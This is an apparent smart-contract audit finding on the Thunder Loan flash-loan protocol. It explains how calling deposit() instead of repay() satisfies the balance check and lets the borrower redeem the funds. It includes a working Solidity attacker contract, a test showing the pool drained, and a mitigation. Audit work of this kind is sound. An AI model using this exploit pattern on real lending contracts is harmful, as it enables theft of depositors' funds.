Thunder Loan

Description

flashloan() verifies repayment purely by checking that the AssetToken contract's ending token balance is at least startingBalance + fee. The intended repayment
path is repay(), which transfers tokens to the AssetToken without minting anything in return. However, deposit() also increases the AssetToken's token balance —
and additionally mints AssetTokens to the caller.

Since deposit() is not blocked during an active flash loan, a borrower can call it from within executeOperation to satisfy the balance check while accumulating
AssetTokens. After the flash loan completes, the attacker calls redeem() to recover the full deposited amount, effectively borrowing for free.

// ThunderLoan.sol
function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external {
uint256 startingBalance = IERC20(token).balanceOf(address(assetToken));
// ...
assetToken.transferUnderlyingTo(receiverAddress, amount);
receiverAddress.functionCall(...); // @> attacker calls deposit() here, not repay()

  uint256 endingBalance = token.balanceOf(address(assetToken));                                                                                                
  // @> check passes — deposit() sent tokens to assetToken, but attacker holds AssetTokens                                                                     
  if (endingBalance < startingBalance + fee) {                                                                                                                 
      revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
  }                                                                                                                                                            

}

function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
// ...
// @> mints AssetTokens to caller — no guard against being called during a flash loan
assetToken.mint(msg.sender, mintAmount);
// @> this increases assetToken's balance, satisfying flashloan()'s check
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}

Risk

Likelihood:

• Any flash loan receiver can choose to call deposit() instead of repay() — the protocol enforces nothing about which function is used to restore the balance

• The attacker needs only fee worth of tokens as starting capital to execute the full drain

Impact:

• The attacker recovers their entire "repayment" via redeem(), netting approximately borrowAmount in profit per attack

• LP depositors lose funds proportional to the pool size — a single attacker can drain the entire pool in one transaction

Proof of Concept

contract DepositRepayAttacker is IFlashLoanReceiver {
ThunderLoan immutable i_thunderLoan;
IERC20 immutable i_token;

  constructor(ThunderLoan thunderLoan, IERC20 token) {  
      i_thunderLoan = thunderLoan;                                                                                                                             
      i_token = token;                                  
  }

  function attack(uint256 amount) external {                                                                                                                   
      i_thunderLoan.flashloan(address(this), i_token, amount, "");
      // Redeem the AssetTokens received from deposit() during executeOperation                                                                                
      AssetToken assetToken = i_thunderLoan.getAssetFromToken(i_token);                                                                                        
      uint256 assetBalance = assetToken.balanceOf(address(this));
      assetToken.approve(address(i_thunderLoan), assetBalance);                                                                                                
      i_thunderLoan.redeem(i_token, assetBalance);      
  }                                                                                                                                                            
                                                                                                                                                               
  function executeOperation(
      address token, uint256 amount, uint256 fee, address, bytes calldata                                                                                      
  ) external returns (bool) {                                                                                                                                  
      // Deposit borrowed tokens + fee instead of calling repay()
      uint256 totalToDeposit = amount + fee;                                                                                                                   
      IERC20(token).approve(address(i_thunderLoan), totalToDeposit);
      i_thunderLoan.deposit(IERC20(token), totalToDeposit);                                                                                                    
      return true;                                      
  }                                                                                                                                                            

}

function testDepositInsteadOfRepayDrainsPool() public {
// Pool: 1000e18 tokenA. Attacker starts with only the fee (0.3e18).
tokenA.mint(address(attacker), fee);

  uint256 attackerBefore = tokenA.balanceOf(address(attacker)); // 0.3e18                                                                                      
  uint256 poolBefore     = tokenA.balanceOf(address(assetToken)); // 1000e18
                                                                                                                                                               
  attacker.attack(100e18); // borrow 100 tokens         
                                                                                                                                                               
  uint256 attackerAfter = tokenA.balanceOf(address(attacker)); // ~100.3e18                                                                                    
  uint256 poolAfter     = tokenA.balanceOf(address(assetToken)); // ~900e18
                                                                                                                                                               
  assertGt(attackerAfter, attackerBefore + 100e18 - 1e15); // ~100 token profit — PASSES                                                                       

}

Output:
Attacker balance before: 300000000000000000 (0.3e18 — just the fee)
Pool balance before: 1000000000000000000000
Attacker balance after: 100327437357158047785 (~100e18 profit)
Pool balance after: 899972562642841952215 (~100 tokens drained)

Recommended Mitigation

Block deposit() while a flash loan is active for that token:

// ThunderLoan.sol

• error ThunderLoan__CannotDepositDuringFlashLoan();

function deposit(IERC20 token, uint256 amount)
external
revertIfZero(amount)
revertIfNotAllowedToken(token)
{

• if (s_currentlyFlashLoaning[token]) {

•   revert ThunderLoan__CannotDepositDuringFlashLoan();                                                                                                      
  

• }
  AssetToken assetToken = s_tokenToAssetToken[token];
  // ...
  }